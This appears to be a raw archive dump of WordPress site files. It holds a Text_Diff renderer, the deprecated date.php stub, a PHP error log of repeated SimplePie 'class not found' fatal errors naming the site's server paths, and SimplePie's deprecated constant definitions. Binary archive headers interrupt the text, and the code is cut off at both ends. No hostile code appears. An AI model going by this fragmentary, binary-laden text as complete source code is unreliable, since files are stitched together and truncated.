        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
14338/date.php.tar000064400000004000151024420100007420 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/date.php000064400000000620151024200220022764 0ustar00<?php
/**
 * Class for generating SQL clauses that filter a primary query according to date.
 *
 * This file is deprecated, use 'wp-includes/class-wp-date-query.php' instead.
 *
 * @deprecated 5.3.0
 * @package WordPress
 */

_deprecated_file( basename( __FILE__ ), '5.3.0', WPINC . '/class-wp-date-query.php' );

/** WP_Date_Query class */
require_once ABSPATH . WPINC . '/class-wp-date-query.php';
14338/library.zip000064400000373141151024420100007414 0ustar00PK�bd[��T,,	error_lognu�[���[28-Oct-2025 06:55:20 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[29-Oct-2025 06:12:08 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[29-Oct-2025 06:18:39 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[01-Nov-2025 22:30:41 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 11:14:01 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 15:25:59 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 20:29:18 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 20:31:16 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[02-Nov-2025 20:42:25 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[03-Nov-2025 17:00:29 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[03-Nov-2025 17:04:29 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
[03-Nov-2025 21:51:54 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie\SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/library/SimplePie.php on line 63
PK�bd[��ICIC
SimplePie.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2017, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.7.0
 * @copyright 2004-2017 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\SimplePie as NamespacedSimplePie;

class_exists('SimplePie\SimplePie');

// @trigger_error(sprintf('Using the "SimplePie" class is deprecated since SimplePie 1.7.0, use "SimplePie\SimplePie" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\SimplePie" instead */
    class SimplePie extends NamespacedSimplePie
    {
    }
}

/**
 * SimplePie Name
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAME instead.
 */
define('SIMPLEPIE_NAME', NamespacedSimplePie::NAME);

/**
 * SimplePie Version
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::VERSION instead.
 */
define('SIMPLEPIE_VERSION', NamespacedSimplePie::VERSION);

/**
 * SimplePie Build
 * @todo Hardcode for release (there's no need to have to call SimplePie_Misc::get_build() only every load of simplepie.inc)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\Misc::get_build() instead.
 */
define('SIMPLEPIE_BUILD', gmdate('YmdHis', \SimplePie\Misc::get_build()));

/**
 * SimplePie Website URL
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::URL instead.
 */
define('SIMPLEPIE_URL', NamespacedSimplePie::URL);

/**
 * SimplePie Useragent
 * @see SimplePie::set_useragent()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\Misc::get_default_useragent() instead.
 */
define('SIMPLEPIE_USERAGENT', \SimplePie\Misc::get_default_useragent());

/**
 * SimplePie Linkback
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LINKBACK instead.
 */
define('SIMPLEPIE_LINKBACK', NamespacedSimplePie::LINKBACK);

/**
 * No Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_NONE instead.
 */
define('SIMPLEPIE_LOCATOR_NONE', NamespacedSimplePie::LOCATOR_NONE);

/**
 * Feed Link Element Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY instead.
 */
define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', NamespacedSimplePie::LOCATOR_AUTODISCOVERY);

/**
 * Local Feed Extension Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION instead.
 */
define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', NamespacedSimplePie::LOCATOR_LOCAL_EXTENSION);

/**
 * Local Feed Body Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_LOCAL_BODY instead.
 */
define('SIMPLEPIE_LOCATOR_LOCAL_BODY', NamespacedSimplePie::LOCATOR_LOCAL_BODY);

/**
 * Remote Feed Extension Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION instead.
 */
define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', NamespacedSimplePie::LOCATOR_REMOTE_EXTENSION);

/**
 * Remote Feed Body Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_REMOTE_BODY instead.
 */
define('SIMPLEPIE_LOCATOR_REMOTE_BODY', NamespacedSimplePie::LOCATOR_REMOTE_BODY);

/**
 * All Feed Autodiscovery
 * @see SimplePie::set_autodiscovery_level()
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOCATOR_ALL instead.
 */
define('SIMPLEPIE_LOCATOR_ALL', NamespacedSimplePie::LOCATOR_ALL);

/**
 * No known feed type
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_NONE instead.
 */
define('SIMPLEPIE_TYPE_NONE', NamespacedSimplePie::TYPE_NONE);

/**
 * RSS 0.90
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_090 instead.
 */
define('SIMPLEPIE_TYPE_RSS_090', NamespacedSimplePie::TYPE_RSS_090);

/**
 * RSS 0.91 (Netscape)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091_NETSCAPE instead.
 */
define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', NamespacedSimplePie::TYPE_RSS_091_NETSCAPE);

/**
 * RSS 0.91 (Userland)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091_USERLAND instead.
 */
define('SIMPLEPIE_TYPE_RSS_091_USERLAND', NamespacedSimplePie::TYPE_RSS_091_USERLAND);

/**
 * RSS 0.91 (both Netscape and Userland)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_091 instead.
 */
define('SIMPLEPIE_TYPE_RSS_091', NamespacedSimplePie::TYPE_RSS_091);

/**
 * RSS 0.92
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_092 instead.
 */
define('SIMPLEPIE_TYPE_RSS_092', NamespacedSimplePie::TYPE_RSS_092);

/**
 * RSS 0.93
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_093 instead.
 */
define('SIMPLEPIE_TYPE_RSS_093', NamespacedSimplePie::TYPE_RSS_093);

/**
 * RSS 0.94
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_094 instead.
 */
define('SIMPLEPIE_TYPE_RSS_094', NamespacedSimplePie::TYPE_RSS_094);

/**
 * RSS 1.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_10 instead.
 */
define('SIMPLEPIE_TYPE_RSS_10', NamespacedSimplePie::TYPE_RSS_10);

/**
 * RSS 2.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_20 instead.
 */
define('SIMPLEPIE_TYPE_RSS_20', NamespacedSimplePie::TYPE_RSS_20);

/**
 * RDF-based RSS
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_RDF instead.
 */
define('SIMPLEPIE_TYPE_RSS_RDF', NamespacedSimplePie::TYPE_RSS_RDF);

/**
 * Non-RDF-based RSS (truly intended as syndication format)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_SYNDICATION instead.
 */
define('SIMPLEPIE_TYPE_RSS_SYNDICATION', NamespacedSimplePie::TYPE_RSS_SYNDICATION);

/**
 * All RSS
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_RSS_ALL instead.
 */
define('SIMPLEPIE_TYPE_RSS_ALL', NamespacedSimplePie::TYPE_RSS_ALL);

/**
 * Atom 0.3
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_03 instead.
 */
define('SIMPLEPIE_TYPE_ATOM_03', NamespacedSimplePie::TYPE_ATOM_03);

/**
 * Atom 1.0
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_10 instead.
 */
define('SIMPLEPIE_TYPE_ATOM_10', NamespacedSimplePie::TYPE_ATOM_10);

/**
 * All Atom
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ATOM_ALL instead.
 */
define('SIMPLEPIE_TYPE_ATOM_ALL', NamespacedSimplePie::TYPE_ATOM_ALL);

/**
 * All feed types
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::TYPE_ALL instead.
 */
define('SIMPLEPIE_TYPE_ALL', NamespacedSimplePie::TYPE_ALL);

/**
 * No construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_NONE instead.
 */
define('SIMPLEPIE_CONSTRUCT_NONE', NamespacedSimplePie::CONSTRUCT_NONE);

/**
 * Text construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_TEXT instead.
 */
define('SIMPLEPIE_CONSTRUCT_TEXT', NamespacedSimplePie::CONSTRUCT_TEXT);

/**
 * HTML construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_HTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_HTML', NamespacedSimplePie::CONSTRUCT_HTML);

/**
 * XHTML construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_XHTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_XHTML', NamespacedSimplePie::CONSTRUCT_XHTML);

/**
 * base64-encoded construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_BASE64 instead.
 */
define('SIMPLEPIE_CONSTRUCT_BASE64', NamespacedSimplePie::CONSTRUCT_BASE64);

/**
 * IRI construct
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_IRI instead.
 */
define('SIMPLEPIE_CONSTRUCT_IRI', NamespacedSimplePie::CONSTRUCT_IRI);

/**
 * A construct that might be HTML
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML instead.
 */
define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', NamespacedSimplePie::CONSTRUCT_MAYBE_HTML);

/**
 * All constructs
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::CONSTRUCT_ALL instead.
 */
define('SIMPLEPIE_CONSTRUCT_ALL', NamespacedSimplePie::CONSTRUCT_ALL);

/**
 * Don't change case
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::SAME_CASE instead.
 */
define('SIMPLEPIE_SAME_CASE', NamespacedSimplePie::SAME_CASE);

/**
 * Change to lowercase
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::LOWERCASE instead.
 */
define('SIMPLEPIE_LOWERCASE', NamespacedSimplePie::LOWERCASE);

/**
 * Change to uppercase
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::UPPERCASE instead.
 */
define('SIMPLEPIE_UPPERCASE', NamespacedSimplePie::UPPERCASE);

/**
 * PCRE for HTML attributes
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE instead.
 */
define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', NamespacedSimplePie::PCRE_HTML_ATTRIBUTE);

/**
 * PCRE for XML attributes
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE instead.
 */
define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', NamespacedSimplePie::PCRE_XML_ATTRIBUTE);

/**
 * XML Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_XML instead.
 */
define('SIMPLEPIE_NAMESPACE_XML', NamespacedSimplePie::NAMESPACE_XML);

/**
 * Atom 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ATOM_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_ATOM_10', NamespacedSimplePie::NAMESPACE_ATOM_10);

/**
 * Atom 0.3 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ATOM_03 instead.
 */
define('SIMPLEPIE_NAMESPACE_ATOM_03', NamespacedSimplePie::NAMESPACE_ATOM_03);

/**
 * RDF Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RDF instead.
 */
define('SIMPLEPIE_NAMESPACE_RDF', NamespacedSimplePie::NAMESPACE_RDF);

/**
 * RSS 0.90 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_090 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_090', NamespacedSimplePie::NAMESPACE_RSS_090);

/**
 * RSS 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_10', NamespacedSimplePie::NAMESPACE_RSS_10);

/**
 * RSS 1.0 Content Module Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_10_MODULES_CONTENT instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', NamespacedSimplePie::NAMESPACE_RSS_10_MODULES_CONTENT);

/**
 * RSS 2.0 Namespace
 * (Stupid, I know, but I'm certain it will confuse people less with support.)
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_RSS_20 instead.
 */
define('SIMPLEPIE_NAMESPACE_RSS_20', NamespacedSimplePie::NAMESPACE_RSS_20);

/**
 * DC 1.0 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_DC_10 instead.
 */
define('SIMPLEPIE_NAMESPACE_DC_10', NamespacedSimplePie::NAMESPACE_DC_10);

/**
 * DC 1.1 Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_DC_11 instead.
 */
define('SIMPLEPIE_NAMESPACE_DC_11', NamespacedSimplePie::NAMESPACE_DC_11);

/**
 * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO instead.
 */
define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', NamespacedSimplePie::NAMESPACE_W3C_BASIC_GEO);

/**
 * GeoRSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_GEORSS instead.
 */
define('SIMPLEPIE_NAMESPACE_GEORSS', NamespacedSimplePie::NAMESPACE_GEORSS);

/**
 * Media RSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS', NamespacedSimplePie::NAMESPACE_MEDIARSS);

/**
 * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG);

/**
 * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG2 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG2);

/**
 * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG3 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG3);

/**
 * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG4 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG4);

/**
 * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG5 instead.
 */
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', NamespacedSimplePie::NAMESPACE_MEDIARSS_WRONG5);

/**
 * iTunes RSS Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_ITUNES instead.
 */
define('SIMPLEPIE_NAMESPACE_ITUNES', NamespacedSimplePie::NAMESPACE_ITUNES);

/**
 * XHTML Namespace
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::NAMESPACE_XHTML instead.
 */
define('SIMPLEPIE_NAMESPACE_XHTML', NamespacedSimplePie::NAMESPACE_XHTML);

/**
 * IANA Link Relations Registry
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY instead.
 */
define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', NamespacedSimplePie::IANA_LINK_RELATIONS_REGISTRY);

/**
 * No file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_NONE instead.
 */
define('SIMPLEPIE_FILE_SOURCE_NONE', NamespacedSimplePie::FILE_SOURCE_NONE);

/**
 * Remote file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_REMOTE instead.
 */
define('SIMPLEPIE_FILE_SOURCE_REMOTE', NamespacedSimplePie::FILE_SOURCE_REMOTE);

/**
 * Local file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_LOCAL instead.
 */
define('SIMPLEPIE_FILE_SOURCE_LOCAL', NamespacedSimplePie::FILE_SOURCE_LOCAL);

/**
 * fsockopen() file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_FSOCKOPEN instead.
 */
define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', NamespacedSimplePie::FILE_SOURCE_FSOCKOPEN);

/**
 * cURL file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_CURL instead.
 */
define('SIMPLEPIE_FILE_SOURCE_CURL', NamespacedSimplePie::FILE_SOURCE_CURL);

/**
 * file_get_contents() file source
 * @deprecated since SimplePie 1.7.0, use \SimplePie\SimplePie::FILE_SOURCE_FILE_GET_CONTENTS instead.
 */
define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', NamespacedSimplePie::FILE_SOURCE_FILE_GET_CONTENTS);
PK�bd[~0=]]"SimplePie/Decode/HTML/Entities.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Decode HTML Entities
 *
 * This implements HTML5 as of revision 967 (2007-06-28)
 *
 * @deprecated Use DOMDocument instead!
 * @package SimplePie
 */
class SimplePie_Decode_HTML_Entities
{
    /**
     * Data to be parsed
     *
     * @access private
     * @var string
     */
    public $data = '';

    /**
     * Currently consumed bytes
     *
     * @access private
     * @var string
     */
    public $consumed = '';

    /**
     * Position of the current byte being parsed
     *
     * @access private
     * @var int
     */
